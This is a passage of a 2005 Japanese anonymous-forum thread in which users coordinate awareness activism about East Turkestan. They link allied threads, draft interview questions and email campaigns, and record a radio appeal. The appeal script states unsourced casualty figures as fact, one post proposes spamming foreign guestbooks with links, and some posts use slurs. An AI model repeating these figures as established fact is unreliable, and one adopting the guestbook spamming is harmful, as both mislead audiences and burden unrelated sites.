それと、「トルキスたん」の擬人化は大丈夫なのか聞いて欲しいwww;
いや、真面目な話ですが。
それ以前に、向こうに萌え文化の理解があるかどうかが問題・・・orz

568 :以下、名無しにかわりましてVIPがお送りします:2005/10/26(水) 12:37:33 ID:ogcMH57e0
一応vip大使館in考古学板あります。

東トルキスタン
http://academy4.2ch.net/test/read.cgi/archeology/1130221124/l50

中央アジアとかそのあたりの旧ソ連の国
http://life7.2ch.net/test/read.cgi/world/1129702185/l50


569 :以下、名無しにかわりましてVIPがお送りします:2005/10/26(水) 12:40:07 ID:jcTxcd+W0
中文のテンプレってどこだっけ?

570 :以下、名無しにかわりましてVIPがお送りします:2005/10/26(水) 13:09:17 ID:RNdvPKZL0
「たかじんのそこまで言って委員会」のOHPのBBSに中国のスレがあったからさ、
トルキスたんの事を投稿してみてるんだけど一向に掲載されないんだよな。

571 :以下、名無しにかわりましてVIPがお送りします:2005/10/26(水) 13:14:36 ID:VUzDpj+a0
>569
掲示板への凸用なら
http://plasticdreams.tm.land.to/?%A5%D5%A5%A9%A1%BC%A5%E9%A5%E0%BD%F1%A4%AD%B9%FE%A4%DF%CD%D1%A5%C6%A5%F3%A5%D7%A5%EC#bbaea4fc
メール用はまだありません。どなたか翻訳して欲しいです。

572 :以下、名無しにかわりましてVIPがお送りします:2005/10/26(水) 13:23:35 ID:mvTZCB5M0
>>507
538です。
俺の質問は、こんな感じかな。

・東トルキスタンの現状。民族・宗教弾圧について。
・当の東ト人は独立を望んでいるのか?
・東ト亡命政府は、東ト人から支持されているのか。
・カディールさんのように、トフティさんも釈放されないものか。

また夜に来ます。

573 :以下、名無しにかわりましてVIPがお送りします:2005/10/26(水) 14:07:34 ID:IMGH1nMW0
支援age

574 :以下、名無しにかわりましてVIPがお送りします:2005/10/26(水) 14:12:31 ID:4Thxo8IG0
>>496>>520
ということはEUの人権関係の機関があれば凸ってみればいいかな?
後で探してみる。

>>507
「ウイグル族、ウイグル人の定義からしてあやふやである。」ということなので
東トルキスタンの人種構成?民族構成みたいなのが分かればいいような気がします。
それから東トルキスタンの歴史について正確な情報や、信頼性の高い資料を紹介してもらえればいいんじゃないでしょうか。

ttp://kok2.no-blog.jp/tengri/

575 :以下、名無しにかわりましてVIPがお送りします:2005/10/26(水) 14:13:21 ID:4Thxo8IG0
忘れてた
>>507
激しくグッジョブ

576 :以下、名無しにかわりましてVIPがお送りします:2005/10/26(水) 14:26:49 ID:Lrh8up+r0
age

577 :以下、名無しにかわりましてVIPがお送りします:2005/10/26(水) 14:33:59 ID:Tw23lMuZ0
m9(e_e)ノ 習慣ぽすと今週号:チベット自治区のルポ発見。写真豊富です。
トルキスタンではないですが、チベット自治区の数少ない情報だと思います。
ご覧になれるかたは、グラビア(モノクロ)ページですが銅像

578 :以下、名無しにかわりましてVIPがお送りします:2005/10/26(水) 14:38:58 ID:cuIwV/KH0
あげ

579 :以下、名無しにかわりましてVIPがお送りします:2005/10/26(水) 14:46:15 ID:4Thxo8IG0
ttp://jpn.cec.eu.int/union/showpage_jp_union.external.arms.php

EUが人権侵害を行なう中国への武器輸出を解禁しようとしている。

ここに東トルキスタンのことを伝えてみればいいんじゃないかな。
ttp://jpn.cec.eu.int/about/showpage_jp_about.contact.php

580 :以下、名無しにかわりましてVIPがお送りします:2005/10/26(水) 15:16:01 ID:FKbV1W6d0
頂!

581 :以下、名無しにかわりましてVIPがお送りします:2005/10/26(水) 16:08:04 ID:quF76M3q0
sien

582 :以下、名無しにかわりましてVIPがお送りします:2005/10/26(水) 16:09:11 ID:cZLU5ASc0
頂頂頂頂頂〜

583 :以下、名無しにかわりましてVIPがお送りします:2005/10/26(水) 16:25:12 ID:IMGH1nMW0
あたたたたたた!

584 :以下、名無しにかわりましてVIPがお送りします:2005/10/26(水) 16:41:25 ID:HqKTdCjN0
ほす

585 :以下、名無しにかわりましてVIPがお送りします:2005/10/26(水) 17:06:49 ID:IMGH1nMW0
保守であります

586 :以下、名無しにかわりましてVIPがお送りします:2005/10/26(水) 17:55:57 ID:orqWIkHq0
age

587 :どんどん増えるVIP大使館:2005/10/26(水) 18:14:33 ID:X3dorG220
VIP大使館 in 海外旅行板

東トルキスタン総合
http://travel2.2ch.net/test/read.cgi/oversea/1130317907/l50

VIP大使館 in 考古学板

東トルキスタン
http://academy4.2ch.net/test/read.cgi/archeology/1130221124/l50



VIP大使館 in 海外生活板

中央アジアとかそのあたりの旧ソ連の国
http://life7.2ch.net/test/read.cgi/world/1129702185/l50



588 :以下、名無しにかわりましてVIPがお送りします:2005/10/26(水) 19:59:17 ID:Tj2/HbQ20
参考になるかな。

http://japanese.china.org.cn/japanese/jp-shuzi2004/sh/mz29.htm

589 :以下、名無しにかわりましてVIPがお送りします:2005/10/26(水) 20:22:07 ID:IMGH1nMW0
支援あげ

590 :以下、名無しにかわりましてVIPがお送りします:2005/10/26(水) 20:56:28 ID:4Thxo8IG0
別スレで↓が映るって聞いたんだけど。

筑紫哲也NEWS23 10/26「ネットに広がる愛国心」
http://live20.2ch.net/test/read.cgi/livetbs/1130285670/

591 :以下、名無しにかわりましてVIPがお送りします:2005/10/26(水) 20:59:06 ID:NaS4ZII80
>>590
東トルキスタンの特集組みませんか?ってメル凸でもする?

592 :以下、名無しにかわりましてVIPがお送りします:2005/10/26(水) 21:03:29 ID:gZtcglVX0
                    ''';;';';;'';;;,.,                  ザッ
                       ''';;';'';';''';;'';;;,.,   ザッ
          ザッ            ;;''';;';'';';';;;'';;'';;;
                        ;;'';';';;'';;';'';';';;;'';;'';;;
                        vymyvwymyvymyvy     ザッ
               ザッ     MVvvMvyvMVvvMvyvMVvv、
                   Λ_ヘ^−^Λ_ヘ^−^Λ_ヘ^Λ_ヘ
     ザッ            ヘ__Λ ヘ__Λ ヘ__Λ ヘ__Λ
                __,/ヽ_ /ヽ__,.ヘ /ヽ__,.ヘ _,.ヘ ,.ヘ    ザッ
    /\___/ヽ   /\___ /\___/ヽ _/ヽ /\___/ヽ
   /''''''   '''''':::::::\/''''''   '''/''''''   '''''':::::::\   /''''''   '''''':::::::\
  . |(●),   、(●)、.:|(●),    |(●),   、(●)、.:|、( |(●),   、(●)、.:|
  |   ,,ノ(、_, )ヽ、,, .::::|   ,,ノ(、_, )|   ,,ノ(、_, )ヽ、,, .::::|_, )|   ,,ノ(、_, )ヽ、,, .::::|
.   |   `-=ニ=- ' .:::::::|   `-=ニ= |   `-=ニ=- ' .:::::::|ニ=|   `-=ニ=- ' .:::::::|
   \  `ニニ´  .:::::/\  `ニニ \  `ニニ´  .:::::/ニ´ \  `ニニ´  .:::::/
   /`ー‐--‐‐―´\ /`ー‐-  /`ー‐--‐‐―´\-‐‐ /`ー‐--‐‐―´
「VIPからきますた」「VIPからきますた」「VIPからきますた」「VIPからきますた」

ボケノート336 〜フワフワ系パペット〜
http://hobby7.2ch.net/test/read.cgi/owarai/1130297518/
BOKE NOTE(ボケノート)
http://bokenote.com/

524 名前:とうふ ◆6zL9LTouHU [authentic] 投稿日:2005/10/26(水) 20:42:56
愛子様>>ちんこ>>>>>VIPPRE

580 名前:名無し職人[] 投稿日:2005/10/26(水) 20:53:48
なるほど、VIPPERは頭が悪いのか

    さ ぁ 、V I P P E R よ 立 ち 上 が れ 

593 :以下、名無しにかわりましてVIPがお送りします:2005/10/26(水) 21:18:30 ID:OCUxiakTO
>>590
「歪んだ愛国心れすね」で締め括られるに1000トルキス

594 :ひとりごと:2005/10/26(水) 21:29:41 ID:CIN723Ue0

外務省でもらったODAのパンフレット

 中国 韓国 北朝鮮 
 一 切 記 述 な し

なんかムカついた。



外務省の廊下で見かけたポスター

 「 日 韓 友 情 年 2 0 0 5 」

ネタか? だれか知ってたか?

595 :以下、名無しにかわりましてVIPがお送りします:2005/10/26(水) 21:56:30 ID:IWFz9V5o0
>>593
今日はそっちが祭りになりそうだね

596 :以下、名無しにかわりましてVIPがお送りします:2005/10/26(水) 22:43:06 ID:8Ym+lI1W0
あげ

597 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 00:04:04 ID:1DTSsjHB0
保守ー

598 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 00:09:43 ID:8L1+X37H0
愛国キタ━━━━━━(゚∀゚)━━━━━━ !!

599 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 00:10:19 ID:8L1+X37H0
誤爆スマソ…orz

600 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 00:27:07 ID:eyXbYK6Z0
今日は人が少ないな

601 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 00:31:13 ID:D5nGXH400
女系(母系)反対スレにいってますた。

602 :496:2005/10/27(木) 00:44:25 ID:ghHA57Wq0
全然このスレと関係ないし、ただのチキンの、愚痴とも言えないような話で、
皆の怒りを煽るだけなのはわかってる。でも、書き込みさせてもらうね。
本当に、1Vipperとして活動したかったんだけど、やっぱり自分には危険過
ぎて、断念する事にした。トルキスタンに行くの自体は問題無いと思う。写
真を撮っても大丈夫だと思う。でも、写真を撮ってうpするのはやばいかも
しれない。自分にはどうしても、大切な人達を危険な目に合わせる事が出来
ない。 勇気を持てなかった。本当に、ごめんなさい。申し訳ないです。
自分も本当の事を知って、皆に伝えたかった。
皆より少しだけ中国の事を知っていて、少しだけ言葉も話せるから
Vipperの皆ときっともっと具体的な事が出来る、そう思った。
でも、いざ行こうと思った時に、すごく怖くなった。
昨日も、今日もよく眠れない。知りたい、助けたい。でも。怖い。
おばあちゃん、おじさん、おばさん、いとこ、皆が幸せに暮らしてる。
それを奪う権利は私には無いし、怖くて出来ない。
自分の口で、親しい人に伝えてゆく努力は続けていく。
でも、もうネットでは出来ないと思う。
まだ何も始めていないのにこんな下らない事書く権利も無いけど、
行く、撮る、とか何とか言っておいて、速攻であきらめてごめんなさい。
何も始めていないのに脅えているチキンな自分が悔しいです。本当にごめんなさい。
知る努力、伝える努力は続けていきます。
ただ、ここで自分なりに決意表明したのに速攻で何も言わずに居なくなるのも
無責任だと思いました。撮るとか聞くとかいう具体的な話までしたのに。
ただの自己満足な文章で、本当に胸糞悪い話です。
罵倒するなら罵倒して下さい。自分も、本当にどうしようもないチキンだと思います。
これからもこの板は覗かせてもらうと思います。でも、書き込みは、もう、しないと思います。
こんな奴を励まして下さった方々には、本当に申し訳ないです。
謝っても許される事じゃないけれど、約束を破ってごめんなさい

603 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 00:49:25 ID:8L1+X37H0
>>602
そんなに思いつめる事は無いと思います。
それぞれが「自分に出来る事」をやっていけばそれで十分。
無理をしてまで続けなくても良いんじゃないでしょうか。

息の長い活動になるのは間違いないので、気が向いたら帰ってきてください。

604 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 00:57:47 ID:o+UjTrPv0
フリスクうめぇwwwwwwwまで読んだ

605 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 00:59:21 ID:XYnN7FiX0
同じく女系反対スレいってたw

>>602
俺だって当局に目つけられたらなんて思うとこわいもんな。自分ひとりだけでなく家族まで巻き込んでしまいそうで。
一日本人で身元ばれるかも、なんて怖がるくらいなんだから、華人ならなおさらこわいだろうというのは余裕で分かるよ。
華人の中に中共シンパ多いだろうしね。
危険を冒すことはしなくておk。そのことを責めたりできる日本人いないから安心汁。
で、いろいろと情報くれたのもありがと。気が向いたら名無しで書き込みしてちょうだい。

606 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 01:03:49 ID:FvTqdKA90
>>602
家族や君自身がリスクを負う必要はない。そもそも誰もムリしなくていいんだ。
中国語がわかり、中国のことに詳しいキミがアドバイスをくれるだけで十分。
落ち着いたら、ゆっくりでいいので、また参加してね。

607 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 01:06:13 ID:D5nGXH400
>>496
心意気だけで十分だ。達者でな。
気が向いたのであればP2Pとかで流してみてはと思う。
nyでもshareでも、そもそもP2Pは言論統制された環境下で威力を発揮する。

608 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 01:07:22 ID:M6Y74Y7S0
>>602
無理する必要は無いよ。
中狂の卑劣さは、このスレのみんながわかってる。
俺的に君は良い人だと思う。

609 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 01:16:03 ID:LpdD31Do0
明日?NHK-BSにて新彊ウイグルの特集放送あり。石油資源の特集の模様 

寝ますノシ


610 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 01:27:20 ID:IhE4NkIf0
>>507氏に質問して欲しいのは
実際中国にどのようなことをされているのかを聞きたい
(出来たら具体的な数字も)さらに証拠写真のような物があれば欲しい
そういうものがあればよりリアルに国際社会にトルキスタンの
現状を伝えられるとおもう。

>>496
自分の家族を守ることは当然だと思う。
達者で

611 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 01:31:15 ID:8L1+X37H0
これか…

10/27 BS1 後 11:15 きょうの世界
▽新課題 欧州のイスラム難民
▽新疆ウイグル最新ルポ

やはり、人権関連のニュースはスルーでしょうねぇ。

612 :fjell:2005/10/27(木) 01:31:45 ID:m8CyIrun0
>>602
勇気と無茶は違うデスよ。もう、その気持ちだけで十分です。

中国に留学していた知人が言うには、中国から台湾の友人にメールを何度送っても、
全然届かなかったそうです。友達とのチャットでの会話中に、
いわゆる中共的NGワードを使ったら、突然回線が落ちることもしばしば。
同様に、日本の友達にメールを送ったら、見事NGワードの箇所のみ文字化けしていたそうです。
なんか思想的に問題アリと、マークされていたかもしれないなぁ、と言っていました。
まぁ、実際のところはワタシにはわかりませんし、友人が当局からマークされたのかどうかも確実ではありませんが...

インターネット回線(もとい、巨大LAN)ですら、監視バリバリなのに(や、巨大LANだから監視し放題か)、
ましてや、中国国内で目立つ行動をとったら。。。

できれば、今後もアドバイスがほしいなぁ、とは思うけど。
もしできれば、ということで。無理はしないでくださいませ。




613 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 01:38:22 ID:OVcj1Ck40
>>496
この運動で一番大事なのは長く続けることだろう。
現地に凸って情報が得られるのは確かに素晴らしいことなのだけど、長く続ける事の方が重要だと思う。
危険だと思ったら一旦退いて方向修正するのはとても大事。
細く長く頑張ろう。
一本一本は細くてもいっぱい集まれば太い紐にもなるんだし。

614 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 01:56:47 ID:TjtDxc3v0


615 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 02:01:46 ID:D5nGXH400


616 :fjell:2005/10/27(木) 02:02:44 ID:m8CyIrun0
>>611
ゲ。なんだその組み合わせ。

「開発進む新疆ウイグル自治区」
中国屈指の石油加工基地「独山子」では、新工場の建設を急ピッチで進める一方、
カザフ国境の町は、再開発をして、5万人の人口を50万人に増やそうと意気込む。

→ まぁ、中国なら5万→50万でも、割合にしたらたいしたことないだろうけどさ...
その45万人は、一体どこから移住してくるのかな?
元の住民:入植者=1:9 ...
中央アジアの覇権狙い&イスラム教徒系住民の包囲網??

「新疆からイスタンブルに新天地を求めたカザフ人」(2003年 笹川財団)
http://www.spf.org/report/030314.html

そしてロシア化の進んだカザフスタンは、今では立派な上海機構のメンバー。
http://www.h3.dion.ne.jp/~asiaway/special/sp-news/nwh01-6a.htm

そして、
「新たな難民問題にどう対応するか」
番組を見なくてもわかる。
アフリカとイスラム教徒系の移民の増加によって...そしてEU各国は...云々。以上。

中国様万歳。EU、ロシアは停滞気味なんで、テキトー。
アメリカの政策をちょっと紹介。んで、アフリカ、イスラム教国は...(略
なにこの偏見。

NHK、もういらない。

617 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 02:12:38 ID:hSAhAS9n0
寝る前にあげるy

618 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 02:23:50 ID:pEdJ0g3Y0
>>602
何を言ってるんだ。
俺の予想では漏れも含めきっとここにいるほとんどの奴がチキンだぞ。
チキンにはチキンのやり方があるはずだ。
間違ってるものは間違ってると言える世の中をつくろうぜ。

TV・マスコミのようなチキン以下に落ちぶれないようにさ。


619 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 03:27:58 ID:8L1+X37H0
あげるお

620 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 03:48:02 ID:a8Bzqh8N0
東トルキスタンのイスラームはスンナ派とシーア派のどちらが主流なんだろう。
だれか情報を持っていない?
イスラーム圏の主流はスンナ派で宗教的指導者ウラマーを中心にまとまる(プロテスタント的)。
シーア派はイマーム(預言者の血統を継ぐもの、って感じ)を中心にまとまる(カトリック的)。
この違いは大きいけど、周辺イスラーム国のサポートがあるかどうかは怪しい。
パキスタンは中国と取引してウイグル人を強制送還したし、
アフガニスタン、キルギス、タジキスタンは内情ボロボロ。
サウジアラビアとかが支持すれば、バックにいるアメリカの効果も見込めるんだけど。

621 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 04:50:55 ID:8L1+X37H0
おやすみあげ

622 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 06:01:42 ID:XaSHpn5I0
おはようあげ

623 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 06:26:18 ID:QluQAGsUO
おやすみあげ

624 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 08:11:32 ID:s7KoDG0c0

外務省に乗り込むage

625 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 08:51:50 ID:tXwZGgwt0
乗り込むの?

626 :624:2005/10/27(木) 08:55:24 ID:s7KoDG0c0
>>625

仕事だからねw

省内の人間じゃないからいろいろと規制があるが、
このスレには全面的に協力したい。

age

627 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 09:03:50 ID:sKWkCiLb0
もまいらおはよう

>>620
スンニ派だね
http://www.kashghar.org/areadata/people.htm

ウイグルは、全民族的にスンニー派のイスラームを信仰しています。
中華人民共和国における世俗的な教育の実施など、宗教に対する否定的な政策にもかかわらず、とくに南部新疆におけるウイグル集中居住地区においてイスラームは日常生活の重要部分であり、彼らの精神世界の主体を構成していると行っても過言ではありません。
言うまでもなく、日々のモスクへの礼拝が励行され、イスラームの2大祭りも盛大に実施されています。

>>624
何をしに行くのかわからないけど、がんがれ


628 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 09:08:17 ID:D5nGXH400
>>624
がんばれぃ

629 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 09:44:24 ID:D5nGXH400
NHKくおりちー

630 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 10:26:50 ID:xQ0VASYM0
頂!

631 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 11:12:49 ID:FvTqdKA90
支援頂!

632 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 13:02:06 ID:au9N8seaO
よっと

633 :以下、名無しにかわりましてモナーを取り返します:2005/10/27(木) 13:02:16 ID:6XYoZyjv0
ほいほい

634 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 13:02:42 ID:6XYoZyjv0
sageになってた

635 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 13:42:37 ID:CpGHTZTY0
a

636 :一兵士@電網遊撃隊 ◆mmYBMTf0Vk :2005/10/27(木) 14:17:56 ID:IkkUItzo0
前ログ見て思ったこと。
>>81@第8スレ
>■Ku Klux Klan(KKK)ttp://www.kkk.com/

ちょwwwこれwwwwwヤバスwwww
KKKったら、白人による黒人弾圧やってた組織じゃなかったっけ?

とりあえず、俺から・・・
つ【リンク等、削除要求】

つか、過激派とかのアドレス載り杉。

>>579
欧州連合に対しては、圧力を掛けて行くのは王道かと。
実際、戦争とかなくて、死の商人達は食いぶちがなく、
欧州の火器産業界は、各国政府に解禁に向けて圧力を
掛けているみたいだからね。

それに、これは日本の安全保障上の問題としても
非常に重要な課題でもあるし・・・
東トルキスタン問題が、決して日本にとって「対岸の火事」
ではないことを認識しないとまずいよね。

アジアにとって「冷戦」は、まだ終わっていないんだよね。
むしろ、これから本格的な米中の冷戦化が心配されるし。
・・・と、スレ違いな亊をいってすまそ。

637 :一兵士@電網遊撃隊 ◆mmYBMTf0Vk :2005/10/27(木) 14:20:53 ID:IkkUItzo0
とりあえず、ネットラジオ配信用の原稿でも作ってみた。
誤字脱字や、誤情報の修正等のよろ。目標は01分30秒位で。

--(以下、原稿)--
あなたは、東トルキスタンという国を御存知でしょうか?
この国は地図には存在しておらず、現在、その場所は中国にあり、
新彊ウイグル自治区と呼ばれています。
そして、東トルキスタンの人々は、中国共産党政府により、
激しい弾圧を受けています。

この半世紀もの間に、50万人もの人々が政治犯として処刑され、
45回以上もの戦略的核実験により、75万人もの命が
放射能の影響により命を落し、
そして、850万もの生まれてくるはずの新たな命が、
強制中絶により、その命を握り潰されました。
この様に、延べ1000万人もの命が中国政府によって奪われたのです。
そして今なお、この様な非人道的行為が続けられています。

しかし残念な事に日本の大手マスメディアは、日中記者交換協定により、
この事を報道する事はありません。

ですから、まず、この事を貴方に知ってもらいたいのです。
そして、ご家族、ご友人など、この事を伝えてください。
私達の声で、東トルキスタンの人々を命を助けることが
出来るのかもしれないのです。

お願いです、隠された真実を知ってください。
東トルキスタンの平和と自由ために。

638 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 14:40:49 ID:WmMa9iGi0
>>637
乙であります!

639 :一兵士@電網遊撃隊 ◆mmYBMTf0Vk :2005/10/27(木) 15:23:09 ID:GZjmxF4d0
ちょいと、仕事の合間に・・・

俺がやってみたが駄目だったわ、声質が合わないし、他にも問題があって。orz

どこぞのサイトにあった、バーボンハウスの声の人みたいな人いないかな?
むしろ連れてきてwwwwそれがVIPクオリティーだろ?wwww
とか、無責任にいってみるテスト。

引き続き、渋い声のかた登場&挑戦キボンヌ。

640 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 16:02:21 ID:LpdD31Do0
>>637
ん?これ吹き込んでみろということなの。(・ω・)ゞやってみっぺかな

641 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 16:07:24 ID:JDQUGgcA0
今日生まれたVIP大使館inグルメ板

東トルキスタンの料理
http://food6.2ch.net/test/read.cgi/gurume/1130396789/l50


642 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 16:34:58 ID:aBDEUCSAO
スレタイ忘れたけど、VIPに台詞を詠んでうPするパートスレがあったような…そこで依頼してみるとか?
もしくは声優板で募集したり出来ないでしょうか?

643 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 16:49:14 ID:sKWkCiLb0
>>637
乙です。

声優板に依頼してきた。
きたときは誰か説明お願いね。

644 :たらこ@ミラー2:2005/10/27(木) 17:01:19 ID:iItwkEYd0
>636
たしかにKKKはまずい,というか相手にされない希ガス
まとめに載せててどうなんだろと思ってたけど。
一応
>ドイツ国境警備隊第9連隊(GSG-9)
>イギリス予備空軍
>イスラエル対外情報機関(モサド)
>イスラエル空軍
>パレスチナ解放機構
>アンゴラ解放戦線(MPLA)
>モロ・イスラム解放戦線(MIFL)
>タミル・イーラム解放の虎(LTTE)
>アルジャジーラ(アラブ)
>ロシア連邦保安局(旧KGB)
>自由ベトナム連盟(FVA)
KKKを含めこの辺をいったん削除

645 :fjell:2005/10/27(木) 17:05:15 ID:f2Vl5UIV0
>>637
むしろ、色々な声質を集めて、重ねるのもいいかなと思ったり。
たくさんの人が支援の声をあげています、みたいな感じで。
エンジニアリング作業がたいへんそうだけど。

>>624 期待age

そうそう。独立記念行事の参加方法について、殿岡事務所に問い合わせをしたら、
事前の申し込みは不要みたいです。
ぶっちゃけ、当日現地集合(参加費も現地払い)みたいな感じらいですぞ。


646 :fjell:2005/10/27(木) 17:08:43 ID:f2Vl5UIV0
>>644 たらこさんー
アルジャジーラは残してもいいと思うなりよ。
「中東のCNN」と呼ばれているし。
日本ではライブドアが、AlJazeeraのニュースを配信していますがw


647 :たらこ@ミラー2:2005/10/27(木) 17:29:20 ID:iItwkEYd0
>fjellさん
間違って消しちゃった。スマソ。
訂正しました。

648 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 18:27:48 ID:WmMa9iGi0
支援あげ

649 : ◆RXpf54Ttr6 :2005/10/27(木) 18:30:56 ID:oGlThyVn0
ミックスダウンとかたまにするけど、そういうときは台詞単位ではなく
単語単位でファイル作ってもらわないと手間が大変。

集めるのであればその方法やミックスダウンする人とかちゃんと決めた方がいいかも。

で、声優板のどこ?

650 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 18:35:52 ID:sKWkCiLb0
>>649

http://anime.2ch.net/test/read.cgi/voice/1126279318
http://anime.2ch.net/test/read.cgi/voice/1125239418


651 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 18:53:05 ID:9P2rqq990
最悪の場合テキスト読み上げソフトになるの?

652 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 18:53:11 ID:aBDEUCSAO
507ですが、只今殿岡氏に対する質問を取り纏めてます。
夜にうpしますので、宜しければ御意見を頂けると助かります。

>>645
事務所に連絡って事は…参加確定なのでしょうか!
一般参加者が漏れだけだとドウシヨウなんてガクブルですた。
安心したお。

653 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 19:06:49 ID:GlKWl4QK0
外国のゲストブックにurlだけぺたぺたはってるだけでも効果あるだろうかね。
一日10個ずつやってみようかな。

654 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 19:19:16 ID:WmMa9iGi0
しーえんage

655 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 20:25:17 ID:h58dvwcG0
ほしゅ

656 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 20:44:54 ID:xIHsEhmg0
こんばんは保守

657 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 20:48:38 ID:Jbopmdr00
これは人権を無視した極悪犯罪だお
VIPPERの力が必要だお!!!111

娘がAVに出演してた。息子はAVを見ていた。
http://ex10.2ch.net/test/read.cgi/news4vip/1130391351/

658 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 21:14:00 ID:JzK+2nA10
>>652
待ってます。

659 :一兵士@電網遊撃隊 ◆mmYBMTf0Vk :2005/10/27(木) 21:16:03 ID:InyQ3mHd0
とりあえず、やってみたファイルうpしておきます。
ノイズとか、途切れとか、音声レベルが違ったりとか・・・
表に出せない程散々なんですが、先人切って自爆しておきます。
一応、1分30秒では収まらず、1分45秒程に・・・

(うp先)
ttp://plasticdreams.tm.land.to/up/uploads/036.zip

660 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 21:23:58 ID:gOYbkD0X0
>>659
今から見るよ。

661 :660:2005/10/27(木) 21:30:26 ID:gOYbkD0X0
>>659
率直に言うと、いまいちかな。
せっかく作ってくれたのにゴメン、決して煽りではないです。
放送部だった人とかいないかな。
ところで、そいうのはXP付属のソフトで作れるの?
もしできるなら俺もやってみます

662 :一兵士@電網遊撃隊 ◆mmYBMTf0Vk :2005/10/27(木) 21:31:28 ID:InyQ3mHd0
>>660
ふいいき(何故かry・・・じゃなくて。
雰囲気的に、こんなテンポでという、サンプルデータ的なものとして
見てもらいたいです。

もちろん、採用なんざしないでくだせぇまし。orz

663 :660:2005/10/27(木) 21:33:12 ID:gOYbkD0X0
>雰囲気的に、こんなテンポでという、サンプルデータ的なものとして

了解です。

664 :660:2005/10/27(木) 21:36:12 ID:gOYbkD0X0
ちょっと声に出して、テキスト読んでみた
これは難しいな。
俺にも無理だ、肺活量不足だ、俺は。

665 :一兵士@電網遊撃隊 ◆mmYBMTf0Vk :2005/10/27(木) 21:37:15 ID:InyQ3mHd0
>>661
いや、今市どころか日光まで。(ローカルネタすまそ

当方、winMEですが、スタート→プログラム→アクセサリ→エンターテイメント→
サウンドレコーダー、ってのがあれば、音声録画できるかと。
マイクの性能とか、あとは声なんか、台詞を分割して録音すると、音声レベルや
声質なんかが変わってしまうからねぇ。

666 :一兵士@電網遊撃隊 ◆mmYBMTf0Vk :2005/10/27(木) 21:51:17 ID:InyQ3mHd0
>>661
>せっかく作ってくれたのにゴメン、決して煽りではないです。
問題ないお。あくまで、雰囲気的な把握程度のものだし。

一応、昔入っていた部活(放送部やアナウンス部ではない)が、
ビデオ作成とかしていたから、放送部等のレベルも知っているから。

一般人でも、ちょっと練習したからって出来るものじゃない。
わざと声質とか換えると、台詞なんか分割するとすぐ元に戻ってしまうし。
真面目に、声優さんの登場キボンヌ。

667 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 22:23:20 ID:/Bc2eSV+0
age

668 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 22:45:07 ID:9P2rqq990
もうすぐ始まる

NHK-BS1 専用実況スレッド 735
http://live21.2ch.net/test/read.cgi/livebs/1130249640/

669 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 22:45:11 ID:pEdJ0g3Y0
BSアナログ−NHK衛星第一
もうすぐはじまるお!
漏れ見れないから誰かみておいてちょ!


22:45 きょうの世界 新課題欧州のイスラム難民▽新疆ウイグル最新ルポ(中断)

670 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 22:49:30 ID:QNMYXgNV0
声優板でここのお願いを読みますた。
とりあえずまとめサイト読んでみます。ノシ

671 :一兵士@電網遊撃隊 ◆mmYBMTf0Vk :2005/10/27(木) 22:54:41 ID:c4NDWa9C0
>>670
声優さんキタ━━━━━━(゚∀゚)━━━━━━!!!!!?


672 :K ◆SSLhGGij7c :2005/10/27(木) 22:57:42 ID:tdORjfSY0 ?#
wktk

673 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 22:58:16 ID:9P2rqq990
キタ━━━━━━(゚∀゚)━━━━━━ !!!!!


NHKはまだコナーイ━━━━━━(´・ω・`)━━━━━━ !!!!!

674 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 23:00:13 ID:9P2rqq990
